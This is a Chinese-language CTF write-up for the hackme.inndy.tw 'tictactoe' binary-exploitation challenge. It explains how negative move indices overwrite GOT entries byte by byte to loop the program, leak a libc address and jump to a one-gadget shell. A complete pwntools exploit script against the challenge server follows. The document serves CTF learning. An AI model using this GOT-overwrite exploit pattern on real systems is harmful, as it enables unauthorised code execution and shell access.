https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了tictactoe这个题目感觉还不错,我把wp分享出来,方便大家学习
tictactoe的题目要求是:

nc hackme.inndy.tw 7714

Can you beat my tic-tac-toe AI?

把tictactoe直接拖入ida中:
main函数:

computerMove函数:

draw函数:

playerMove函数:

win函数:

print_result函数:

input函数:

这个题目挺复杂的,但是在反编译的地方我找到一个题目的源码在:https://gist.github.com/MatthewSteel/3158579,这个题目就是由这个游戏修改而成
先运行一下程序看一下这个程序干了啥:

这个程序输入9的时候可以输入改变的数字,输入其他数字可以把输入的数字放入指定的位置
再看看程序开启了哪些保护:

这个题目开了栈不可执行和canary保护,所以不可能是栈溢出
这个程序的漏洞点是在:playerMove函数里面,由于输入的数字没有任何限制,所以可以输入负数覆盖0x804B056之前的数字,在地址0x804B056之前由got表,所以可以修改got表中的内容来改变程序的流程,但是这个程序如果改变got表中的内容的话就只有三次机会,每次只能修改一个字节,然后就会判断你失败,最后强行退出程序,由于Linux动态运行库会延迟绑定,这个可以参考 http://blog.csdn.net/virtual_func/article/details/48789947 下面是getshell的过程:
(1)通过两次修改把memset@got的后两位地址改成0x08048BD5,也就是反编译中的main函数的第37行调用playerMove函数的地址,这样就使整个程序变成一个循环
(2)利用循环修改open函数为:printf("Here is your flag: %s\n", buf);的地址,也就是0x08048CB4这个位置,目的是为了泄露libc的基地址
(3)利用循环把exit函数改成main函数的第37行调用playerMove函数的地址,目的是为了在泄露libc基地址后,再计算MAGIC,之后跳转到大循环中
(4)上面的open函数和exit函数修改完成之后,只要把0x804B04D中数据改成ff ff ff,就可以赢得游戏,程序就会运行到读flag的地方,也就可以运行你布置好的流程,通过这个循环获取到MAGIC地址后再跳到main函数的第37行调用playerMove函数的地址
(5)通过playerMove函数修改0x804B04D中数据改成ff 01 ff 使win判断失败,继续进入到大循环中
(6)再大循环中把open@got指针改成exit(0);的地址,也就是0x08048CF2,把exit@got改成MAGIC的地址
(7)把0x804B04D中数据改成ff ff ff,再次赢得游戏,就可以getshell了
下面是我的exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'

from pwn import *
import sys
from termios import tcflush, TCIFLUSH

context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

localMAGIC = 0x3AC69      #locallibc
remoteMAGIC = 0x3ac49      #remotelibc   #libc6_2.23-0ubuntu3_i386.so

def debug(addr = '0x08048CF2'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)

def base_addr(prog_addr,offset):
    return eval(prog_addr)-offset

def input_number(number):
    io.recv(timeout=5)
    io.sendline('9')
    #tcflush(sys.stdin, TCIFLUSH)
    io.send(number)
    time.sleep(1)
    sys.stdout.flush()
    #tcflush(sys.stdin, TCIFLUSH)
def input_addr(addr):
    io.recvuntil('Input move (9 to change flavor): ',timeout=5)
    io.sendline(addr)
    sys.stdout.flush()
    #time.sleep(1)
    #tcflush(sys.stdin, TCIFLUSH)


elf = ELF('/home/h11p/hackme/tictactoe')


#io = process('/home/h11p/hackme/tictactoe')
io = remote('hackme.inndy.tw', 7714)
#debug()
io.recvuntil('Play (1)st or (2)nd? ')
io.sendline('1')
#change memset to loop
input_number(p32(0xd5))
input_addr('-34')
input_number(p32(0x8b))
input_addr('-33')


#change open to printf_flag
input_number(p32(0xb4))
input_addr('-42')
input_number(p32(0x8c))
input_addr('-41')
input_number(p32(0x04))
input_addr('-40')
input_number(p32(0x08))
input_addr('-39')


#change exit to loop
input_number(p32(0xd5))
input_addr('-46')
input_number(p32(0x8b))
input_addr('-45')
input_number(p32(0x04))
input_addr('-44')
input_number(p32(0x08))
input_addr('-43')


#success get flag
input_number(p32(0xff))
input_addr('-9')
input_number(p32(0xff))
input_addr('-8')
input_number(p32(0xff))
input_addr('-7')

#leak libc_base
libc_leak=io.recv(timeout=5).splitlines()[1][19:23]
libc_leak=u32(libc_leak)
print hex(libc_leak)
libc_base=libc_leak-0x3f12
print "libc_base:"+hex(libc_base)

#MAGIC_addr=libc_base+localMAGIC
MAGIC_addr=libc_base+remoteMAGIC
print "MAGIC_addr:"+hex(MAGIC_addr)

#unsuccess get flag
input_number(p32(1))
input_addr('-8')


#change open to exit
input_number(p32(0xce))
input_addr('-42')
input_number(p32(0x8c))
input_addr('-41')
input_number(p32(0x04))
input_addr('-40')
input_number(p32(0x08))
input_addr('-39')

#change exit to MAGIC_addr
Bytes_MAGIC_addr=bytearray.fromhex(hex(MAGIC_addr)[2:])
exit_addr=-46
for i in Bytes_MAGIC_addr[::-1]:
    input_number(p32(i))
    input_addr(str(exit_addr))
    exit_addr=exit_addr+1


#success get flag
input_number(p32(0xff))
input_addr('-8')


io.interactive()
#io.recv()

效果是:

Ps:打远程会经常断,要试几次

tictactoe.zip (0.003 MB) 下载附件
源链接

Hacking more

...